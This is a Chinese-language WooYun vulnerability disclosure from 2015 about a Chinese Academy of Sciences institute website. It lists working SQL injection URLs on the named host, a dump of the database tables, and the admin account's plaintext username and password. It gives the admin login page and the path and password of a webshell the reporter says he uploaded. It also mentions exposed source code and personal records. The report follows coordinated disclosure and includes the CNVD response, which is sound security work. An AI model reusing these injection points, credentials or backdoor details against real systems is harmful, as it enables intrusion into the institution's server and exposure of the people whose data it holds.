漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0129177
漏洞标题：中科院某站从sql注入到shell
相关厂商：cncert国家互联网应急中心
漏洞作者： ciz11
提交时间：2015-07-26 11:39
修复时间：2015-09-13 09:26
公开时间：2015-09-13 09:26
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-07-26： 细节已通知厂商并且等待厂商处理中
2015-07-30： 厂商已经确认，细节仅向厂商公开
2015-08-09： 细节向核心白帽子及相关领域专家公开
2015-08-19： 细节向普通白帽子公开
2015-08-29： 细节向实习白帽子公开
2015-09-13： 细节向公众公开
简要描述：
多处sql注射，文件上传，源码泄露，敏感信息泄露
详细说明：
注入点:http://bdm.psych.ac.cn/peoplelist.php?name=%E6%9D%8E%E7%BA%BE
http://bdm.psych.ac.cn/activitylist.php?title=%E8%AF%BE%E9%A2%98%E7%BB%84%E5%9C%A8%E5%9B%BD%E7%A7%91%E5%A4%A7%E6%80%80%E6%9F%94%E6%A0%A1%E5%8C%BA%E6%B4%BB%E5%8A%A8
http://bdm.psych.ac.cn/projectlist.php?title=%E5%9B%BD%E5%AE%B6%E8%87%AA%E7%84%B6%E7%A7%91%E5%AD%A6%E5%9F%BA%E9%87%91%E9%9D%A2%E4%B8%8A%E9%A1%B9%E7%9B%AE%E2%80%9C%E7%AA%81%E5%8F%91%E5%85%AC%E5%85%B1%E4%BA%8B%E4%BB%B6%E5%90%8E%E4%B8%AD%E5%9B%BD%E6%B0%91%E4%BC%97%E7%9A%84%E5%90%8E%E7%BB%A7%E9%A3%8E%E9%99%A9%E5%86%B3%E7%AD%96%E2%80%9D
注入结果:
[21 tables]
+----------------+
| admininfo |
| article |
| engarticle |
| engfriendlink |
| engorientation |
| engproject |
| engpublication |
| engresearcher |
| engresearcher1 |
| engteaching |
| friendlink |
| gaikuang |
| ipcount |
| orientation |
| project |
| publication |
| recentnews |
| recentresearch |
| researcher |
| researcher1 |
| teaching |
+----------------+
admininfo表:
+-----------+---------------+
| username | userpwd |
+-----------+---------------+
| lishuteam | LiShu20120907 |
+-----------+---------------+
后台登陆
http://bdm.psych.ac.cn/login.php
这个后台应该是所里某个同学写的，很简洁，无防护，从出版物发布直接上传小马。
2012.php是我上的小马 地址upload/2012.php 密码nstest
这个服务器上有研究所主站的部分代码，当时应该是在这个服务器测试的
web3.psych.ac.cn 里有部分测试代码
mydbgl里是数据库部分的代码
d文件夹下有很多资料，信息
还有一些夫妻两地分居的备案表，这里就不贴了。
漏洞证明：
如上
修复方案：
sql注射过滤
版权声明：转载请注明来源 ciz11@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2015-07-30 09:25
厂商回复：
CNVD确认并复现所述情况，已经转由CNCERT向中国科学院计算机网络管理中心通报，由其后续协调网站管理单位处置。
最新状态：
暂无